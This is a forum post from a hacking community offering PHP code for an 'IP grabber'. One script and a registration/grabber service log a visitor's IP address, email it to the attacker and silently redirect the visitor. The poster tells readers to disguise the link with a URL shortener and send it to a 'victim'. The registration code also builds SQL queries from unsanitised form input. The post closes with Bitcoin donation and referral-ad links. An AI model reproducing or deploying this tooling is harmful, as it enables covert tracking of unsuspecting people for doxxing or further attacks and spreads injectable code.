IP Grabber 03-10-2013, 12:25 AM
#1
PHP Code:
<?php
if (getenv(HTTP_X_FORWARDED_FOR)){
$ip = getenv(HTTP_X_FORWARDED_FOR); } else {
$ip = getenv(REMOTE_ADDR); }
mail("YOUREMAILADDRESS","New dummy","Victim's IP: $ip","From: ipprovider@noizethehacker.com");
?>
<meta http-equiv="refresh" content="0;URL=http://anurlhere.com/" />
Just upload this to your host, change YOUREMAILADDRESS and anurlhere.com, then shorten it with adf.ly and link it to the victim. He will be redirected to anurlhere.com and his IP address will be sent to YOUR EMAIL ADDRESS.
The most efficient method for me.
CLICK ME - REGISTER HERE FOR A FREE & EASY IP GRABBING SERVICE
You can register on this page and get back a URL for your victim so to easily get their IPs.
Source code here:
## REGISTRATION PAGE ##
PHP Code:
<html>
<font color="#00ff00" face="courier new" size="2">
<head>
<title>Noize's IP Grabber</title>
<link rel="stylesheet" type="text/css" href="../style.css" />
<link rel="shortcut icon" type="image/x-icon" href="../images/icons/icon.bmp" />
<script type="text/javascript">
window.onload = function() {
if(document.getElementById('username').value == '') {
document.getElementById('username').focus();
}
};
</script>
</head>
<body bgcolor="black">
#########################################################<br>
<font face="sans-serif" size="4" color="white"><b>Harvest IPs</b></font><br>
#########################################################<br>
<br>
<form method='post' action='grabregister.php' style="position: relative; left: 6px;">
<br>
Email: <input type="text" name="email" id="email" title="Email to send the victim's IP to" /><br>
<font title="URL to redirect the victim to">URL</font>: <input type="text" name="url" id="url" value="http://" title="URL to redirect the victim to" /><br>
<input type="submit" value=" Log in " style="position: relative; top: 3px; left: 80px; margin-bottom: -5px; color: black; background-color: white; font-family: arial; font-size: 13px; cursor: pointer;" /><br>
<input type="hidden" name="submit" />
</form>
#########################################################<br>
<font color="blue">
</font>
</div>
<?php
require_once('../connect.php');
if(isset($_POST['submit'])) {
$username = 1000000000+((rand()));
$email = $_POST['email'];
$password = "pass";
$redurl = $_POST['url'];
$conn = mysql_connect($dbhost,$dbuser,$dbpass)
or die ('Error connecting to mysql');
mysql_select_db($dbname);
$query = "INSERT INTO grabbers (username, email, password, url) VALUES ('$username', '$email', '$password', '$redurl')";
$result = @mysql_query($query);
if (mysql_affected_rows() == 1) {
$userID = mysql_insert_id($conn);
}
echo 'Link to send to your victim: <input type="text" value="http://www.noizethehacker.altervista.org/grabip.php?id=' . $username . '" />';
}
?>
</body>
</font>
</html>
## GRABBER PAGE ##
PHP Code:
<?php
session_start();
require_once('connect.php');
if (isset($_GET['id'])) {
$id = (int) $_GET['id'];
}
$username = $id;
$password = "pass";
$conn = mysql_connect($dbhost,$dbuser,$dbpass)
or die ('Error connecting to mysql');
mysql_select_db($dbname);
$query = sprintf("SELECT COUNT(id) FROM grabbers WHERE UPPER(username) = UPPER('%s') AND password='%s'",
mysql_real_escape_string($username),
mysql_real_escape_string(($password)));
$result = mysql_query($query);
list($count) = mysql_fetch_row($result);
if($count == 1) {
$_SESSION['authenticated'] = true;
$_SESSION['username'] = $username;
$result = mysql_query("SELECT * from grabbers");
$row = mysql_fetch_array($result);
$email = $row['email'];
$redurl = $row['url'];
if (getenv(HTTP_X_FORWARDED_FOR)){
$ip = getenv(HTTP_X_FORWARDED_FOR); } else {
$ip = getenv(REMOTE_ADDR); }
mail("$email","New dummy","Victim's IP: $ip","From: ipprovider@noizethehacker.com");
}
$_SESSION = array();
if (isset($_COOKIE[session_name()])) {
setcookie(session_name(), '', time()-42000, '/');
header('Location:' . $redurl . '');
}
?>###
Open to any suggestion and, please, tell me about any kind of bug.
- Special thanks for registration service idea to The Alchemist (read beneath).
My Bitcoin address: 1AtxVsSSG2Z8JfjNy9KNFDUN6haeKr7LiP
Give me money by visiting www.google.com here: http://coin-ads.com/6Ol83U
If you want a Bitcoin URL shortener/advertiser, please, use this referral: http://coin-ads.com/register.php?refid=noize
Give me money by visiting www.google.com here: http://coin-ads.com/6Ol83U
If you want a Bitcoin URL shortener/advertiser, please, use this referral: http://coin-ads.com/register.php?refid=noize

![[+]](https://sinister.li/images/modern/collapse_collapsed.png)


![[Image: 2YpkRjy.png]](http://i.imgur.com/2YpkRjy.png)

urprised: